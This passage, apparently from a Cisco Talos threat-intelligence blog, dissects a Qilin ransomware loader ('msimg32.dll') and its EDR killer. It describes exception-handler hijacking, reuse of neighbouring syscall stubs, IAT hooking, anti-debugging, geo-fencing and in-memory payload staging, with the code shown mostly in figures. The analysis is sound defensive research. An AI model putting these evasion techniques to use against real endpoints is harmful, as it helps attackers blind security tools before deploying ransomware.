targeting EDR systems. It can terminate over 300 different EDR drivers from almost every vendor in the market.</li><li>We present multiple techniques used by the malware to evade and ultimately disable EDR solutions, including SEH/VEH-based obfuscation, kernel object manipulation, and various API and system call bypass methods.</li></ul><hr><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/EDR-Killer-header-1.jpg" alt="Qilin EDR killer infection chain"><p>This blog post provides an in-depth technical analysis of the malicious dynamic-link library (DLL) &#x201C;msimg32.dll&#x201D;, which Cisco Talos observed being deployed in Qilin ransomware attacks. The broader activities and attacks of Qilin was previously introduced and described in the blog post <a href="https://blog.talosintelligence.com/an-overview-of-ransomware-threats-in-japan-in-2025-and-early-detection-insights-from-qilin-cases" rel="noreferrer">here</a>.</p><p>This DLL represents the initial stage of a sophisticated, multi-stage infection chain designed to disable local endpoint detection and response (EDR) solutions present on compromised systems. Figure 1 shows a high-level diagram demonstrating the overall execution flow of this infection chain.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image1-1.jpg" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="2000" height="1179" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image1-1.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image1-1.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image1-1.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image1-1.jpg 2000w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 1. Infection chain overview.</span></figcaption></figure><p>The first stage consists of a PE loader responsible for preparing the execution environment for the EDR killer component. This secondary payload is embedded within the loader in an encrypted form.</p><p>The loader implements advanced EDR evasion techniques. It neutralizes user-mode hooks and suppresses Event Tracing for Windows (ETW) event generation at runtime by leveraging a -like approach. Additionally, it makes extensive use of structured exception handling (SEH) and vectored exception handling (VEH) to obscure control flow and conceal API invocation patterns. This enables the EDR killer payload to be decrypted, loaded, and executed entirely in memory without triggering detection by the locally installed EDR solution.</p><p>Once active, the EDR killer component loads two helper drivers. The first driver (&#x201C;rwdrv.sys&#x201D;) provides access to the system&#x2019;s physical memory, while the second driver (&#x201C;hlpdrv.sys&#x201D;) is used to terminate EDR processes. Prior to loading the second driver, the EDR killer component unregisters monitoring callbacks established by the EDR, ensuring that process termination can proceed without interference.</p><p>Overall, the malware is capable of disabling over 300 different EDR drivers across a wide range of vendors. While the campaign has been previously reported by , , and others at a higher level, this analysis focuses on previously undocumented technical details of the infection chain (e.g., the SEH/VEH tricks and the overwriting of certain kernel objects).</p><h2 id="pe-loader-section-%E2%80%9Cmsimg32dll%E2%80%9D">PE loader section (&#x201C;msimg32.dll&#x201D;)</h2><p>The malicious DLL is most likely side-loaded by a legitimate application that imports functions from &#x201C;msimg32.dll&#x201D;. To preserve expected functionality, the original API calls are forwarded to the legitimate library located in &#x201C;C:\Windows\System32&#x201D;.</p><p>The version of &#x201C;msimg32.dll&#x201D; deployed by the threat actor triggers its malicious logic from within its <code>DllMain</code> function. As a result, the payload is executed as soon as the legitimate application loads the DLL.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image2.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1402" height="647" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image2.png 1402w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 2. Malicious version of &#x201C;msimg32.dll&#x201D;.</span></figcaption></figure><p>Sophos also gave some technical and historical insights into this loader in their earlier blog, in which it is referred to as Shanya.</p><h3 id="initialization-phase">Initialization phase</h3><p>During initialization, the loader allocates a heap buffer in process memory that acts as a slot-policy table.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image3.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="604" height="97" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image3.png 604w"><figcaption><span style="white-space: pre-wrap;">Figure 3a. Allocating buffer for slot-policy table.</span></figcaption></figure><p>The size of this buffer is computed as &quot;ntdll.dll&quot; <code>OptionalHeader.SizeOfCode</code> divided by 16 ( <code>SizeOfCode &gt;&gt; 4</code>), resulting in one byte per 16-byte code slot covering the code region as defined by <code>OptionalHeader.SizeOfCode</code> (typically the .text range). Each entry in the table corresponds to a fixed 16-byte block relative to <code>BaseOfCode</code>.</p><p>The loader then iterates over the export table of &#x201C;ntdll.dll&#x201D;. For each exported function whose name begins with &quot;Nt&quot;, the virtual address of the corresponding syscall stub is resolved. From this address, a slot index is calculated as: slot_idx = (FuncVA - BaseOfCode)/16</p><p>This index is used to mark the corresponding entry in the slot-policy table. All Nt* stubs are assigned a default policy, while selected functions are explicitly marked with special policies, including:</p><ul><li><code>NtTraceEvent</code></li><li><code>NtTraceControl</code></li><li><code>NtAlpcSendWaitReceivePort</code></li></ul><p>The result is a data-driven classification of relevant syscall stubs without modifying the executable code of &#x201C;ntdll.dll&#x201D;. The resulting slot-policy-table appears as follows:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image4.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1750" height="872" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image4.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image4.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image4.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image4.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 3b. Slot-policy table.</span></figcaption></figure><p>The actual loader function is significantly more complex and incorporates additional obfuscation techniques, such as hash-based API resolution at runtime.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image5.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1975" height="960" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image5.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image5.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image5.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image5.png 1975w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 4. Filling slot-policy table depending on &#x201C;Nt&#x201D; syscall stub functions.</span></figcaption></figure><p>After constructing the table, the sample dynamically resolves <code>ntdll!LdrProtectMrdata</code>, which will be discussed in greater detail later. It then invokes this routine to change the protection of the <code>.mrdata</code> section to writable. This section contains the exception dispatcher callback pointer along with other critical runtime data.</p><p>Once the section is writable, the loader overwrites the dispatcher slot with its own custom exception handler. As a result, its routine is executed whenever an exception is triggered.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image6.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1628" height="392" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image6.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image6.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image6.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image6.png 1628w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 5. Overwriting of exception handler dispatcher slot.</span></figcaption></figure><h3 id="runtime-exception-handling">Runtime exception handling</h3><p>This function primarily performs two tasks: handling breakpoint exceptions and single-step exceptions.</p><p>The handling of breakpoint exceptions (0xCC) is relatively straightforward. It simply resumes execution at the instruction immediately following the INT3 (0xCC). Talos is not certain why this approach was implemented. It may function as a lightweight anti-emulation, anti-analysis, or anti-sandbox mechanism for weak analysis systems, serve as groundwork for more advanced anti-debugging techniques, or act as preparation for future control-flow manipulation similar to the VEH-based logic observed in Stages 2 and 3.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image7.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1228" height="458" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image7.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image7.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image7.png 1228w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 6. Breakpoint logic of </span><code spellcheck="false" style="white-space: pre-wrap;"><span>hook_function_ExceptionCallback</span></code><span style="white-space: pre-wrap;"> function.</span></figcaption></figure><p>The single-step portion of the function is significantly more complex and is where the previously introduced slot-policy table is utilized. <code>ctx-&gt;ntstub_class_map</code> points to the map buffer allocated during initialization.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image8.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1583" height="1688" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image8.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image8.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image8.png 1583w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 7. Single step logic of </span><code spellcheck="false" style="white-space: pre-wrap;"><span>hook_function_ExceptionCallback</span></code><span style="white-space: pre-wrap;"> function.</span></figcaption></figure><p>Simplified the logic of the initialization and dispatch function looks like this in pseudo code. <code>InitCtxAndPatchNtdllMrdataDispatch</code> is the initialization function and <code>hook_function_ExceptionCallback</code> is the dispatch function mentioned above.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image9.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="2000" height="822" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image9.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image9.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image9.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image9.png 2242w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 8. Simplified single step SEH logic.</span></figcaption></figure><p>The <code>find_syscall</code> routine shown in Figure 7 implements a syscall recovery technique. Details can be found in the picture below. It scans both backward and forward through &#x201C;ntdll.dll&#x201D; to locate intact syscall stubs and identify neighboring syscalls that can be repurposed.</p><p>The simplified logic is as follows:</p><ul><li>Indirectly determine the target syscall number by scanning forward and backward.</li><li>Locate a clean neighbouring stub.</li><li>Manually load the correct syscall ID into <code>eax</code>.</li><li>Transition directly to kernel mode using the syscall instruction (i.e., a syscall instruction located inside a clean neighboring stub).</li></ul><p>By reusing a neighboring syscall stub to invoke the desired system call, the loader bypasses EDR-hooked syscalls without modifying the hooked code itself. The Windows kernel only evaluates the syscall ID in <code>eax</code>; it does not verify which exported API function initiated the call.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image10.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1408" height="1685" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image10.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image10.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image10.png 1408w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 9. Halo&#x2019;s Gate: </span><code spellcheck="false" style="white-space: pre-wrap;"><span>find_syscall</span></code><span style="white-space: pre-wrap;"> function.</span></figcaption></figure><p>As previously mentioned, the actual code of the malware is more complex (e.g., the aforementioned runtime resolution of <code>ntdll!LdrProtectMrdata</code>).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image11.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1516" height="1254" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image11.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image11.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image11.png 1516w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 10. Resolution of </span><code spellcheck="false" style="white-space: pre-wrap;"><span>ntdll!LdrProtectMrdata</span></code><span style="white-space: pre-wrap;"> at runtime.</span></figcaption></figure><p>The loader resolves the <code>ntdll!LdrProtectMrdata</code> function in a stealthy way. Instead of resolving <code>LdrProtectMrdata</code> by name or hash, the loader instead:</p><ul><li>Finds the .mrdata section in the &#x201C;ntdll.dll&#x201D; image</li><li>Checks whether the current dispatcher slot pointer (<code>dispatch_slot</code>) lies inside .mrdata</li><li>If it does, it uses a known exported ntdll function (<code>RtlDeleteFunctionTable</code>, located via hash) as an anchor</li><li>From that anchor, it scans for a CALL rel32 instruction (0xE8) and extracts its target address</li><li>That call target is the address of <code>LdrProtectMrdata</code> and stored in <code>ctx-&gt;LdrProtectMrdata</code></li></ul><p>The initialization routine described earlier also incorporates several basic anti-debugging measures. For example, it verifies whether a breakpoint has been placed on <code>KiUserExceptionDispatcher</code>. If such a breakpoint is detected, the process is deliberately crashed. This check is performed before the dispatcher is overwritten, which means that the resulting exception is handled by the original, default exception handler.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image12.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1507" height="221" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image12.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image12.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image12.png 1507w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 11. </span><code spellcheck="false" style="white-space: pre-wrap;"><span>KiUserExceptionDispatcher</span></code><span style="white-space: pre-wrap;"> breakpoint check.</span></figcaption></figure><p>The loader also implements geo-fencing. It excludes systems configured for languages commonly used in post-Soviet countries. This check is performed at an early stage, and the loader terminates if a locale from the exclusion list is detected.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image13.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="902" height="371" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image13.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image13.png 902w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 12. Geo-fencing function.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image14.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1189" height="724" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image14.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image14.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image14.png 1189w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 13. Geo-fencing excluded countries list.</span></figcaption></figure><p>After initializing Stage 1, the loader proceeds to unpack the subsequent stages. It creates a paging file-backed section and maps two views of this section into the process address space. This aspect was not analyzed in depth; however, creating two views of the same section is a common malware technique used to obscure a READ-WRITE-EXECUTABLE memory region. Typically, one view is configured with WRITE access only, masking the effective executable permissions of the underlying section. This shared memory region will contain subsequent malware stages after unpacking them. This also makes it more difficult to dump the memory during analysis. When a virtual memory page is not currently present in RAM (present bit cleared), accessing it triggers a page fault. The kernel then resolves the fault (e.g., by loading the page from the pagefile into physical memory).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image15.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1545" height="258" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image15.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image15.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image15.png 1545w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 14. </span><code spellcheck="false" style="white-space: pre-wrap;"><span>CreateFileMappingA</span></code><span style="white-space: pre-wrap;"> resolver function, returns the handle 0x174.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image16.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1759" height="51" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image16.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image16.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image16.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image16.png 1759w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 15. First &#x201C;write only&#x201D; view, </span><code spellcheck="false" style="white-space: pre-wrap;"><span>FILE_MAP_WRITE</span></code><span style="white-space: pre-wrap;"> (0x2).</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image17.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1759" height="56" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image17.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image17.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image17.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image17.png 1759w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 16. Second &#x201C;R-W-X&#x201D; view, </span><code spellcheck="false" style="white-space: pre-wrap;"><span>0x24 = FILE_MAP_READ (0x4) | FILE_MAP_EXECUTE (0x20)</span></code><span style="white-space: pre-wrap;">.</span></figcaption></figure><p>After creating the views, it copies and decodes bytes into this buffer. The basic block highlighted in green marks the start of this routine, while the red basic block represents the final control transfer (see Figure 17) to the decoded payload. The yellow basic block contains the decision logic that determines when execution transitions to the red basic block.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image18.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="334" height="1098"><figcaption><span style="white-space: pre-wrap;">Figure 17. Stage 2 decoding routine.</span></figcaption></figure><p>Inside the red basic block, we have the final jump into the decoded bytes of Stage 2.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image19.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1184" height="403" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image19.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image19.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image19.png 1184w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 18. Call to Stage 2 in red basic block.</span></figcaption></figure><h3 id="stage-2">Stage 2</h3><p>Stage 2 (0x2470000) serves solely as a stealthy transition mechanism to transfer execution to Stage 3. As expected, all addresses referenced from this point onward, such as 0x2470000, may vary between executions of the loader, as they are dynamically allocated at runtime.</p><p>The initial part of Stage 2 is straightforward: It decodes the data stored in the memory section and then unmaps the previously mapped view. The subsequent function call constitutes the critical step: <code>ctx-&gt;FuncPtrHookIAT((ULONGLONG)ctx-&gt;hooking_func);</code></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image20.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1754" height="922" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image20.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image20.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image20.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image20.png 1754w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 19. Stage 2.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image21.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="2000" height="1097" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image21.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image21.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image21.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image21.png 2018w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 20. IAT hooking function.</span></figcaption></figure><p>This IAT-hooking routine overwrites the <code>ExitProcess</code> entry in the Import Address Table (IAT) of the main process (i.e., the process that loaded the malicious &#x201C;msimg32.dll&#x201D;).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image22.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="638" height="109" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image22.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image22.png 638w"><figcaption><span style="white-space: pre-wrap;">Figure 21. Overwritten IAT pointer to </span><code spellcheck="false" style="white-space: pre-wrap;"><span>ExitProcess</span></code><span style="white-space: pre-wrap;"> at 0x140017138.</span></figcaption></figure><p>As shown in Figure 18, execution returns normally from Stage 2, and <code>DllMain</code> completes without any obvious anomalies. The malicious logic is triggered later, when <code>ExitProcess</code> is invoked by <code>exit_or_terminate_process</code> during process termination. Instead of terminating the process, execution is redirected to function 0x2471000, which corresponds to Stage 3.</p><h3 id="stage-3">Stage 3</h3><p>Stage 3 primarily decompresses and loads a PE image from memory that was originally embedded within the malicious &#x201C;msimg32.dll&#x201D;. It begins by resolving syscall stubs, which are used in subsequent code sections followed by decoding routines.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image23.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1299" height="760" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image23.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image23.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image23.png 1299w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 22. Syscall resolution and execution of certain functions.</span></figcaption></figure><p>After several decoding and preparation steps, the PE image is decompressed from memory.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image24.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1034" height="284" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image24.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image24.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image24.png 1034w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 23. Compressed buffer, previously unpacked.</span></figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image25.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="994" height="234" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image25.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image25.png 994w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: 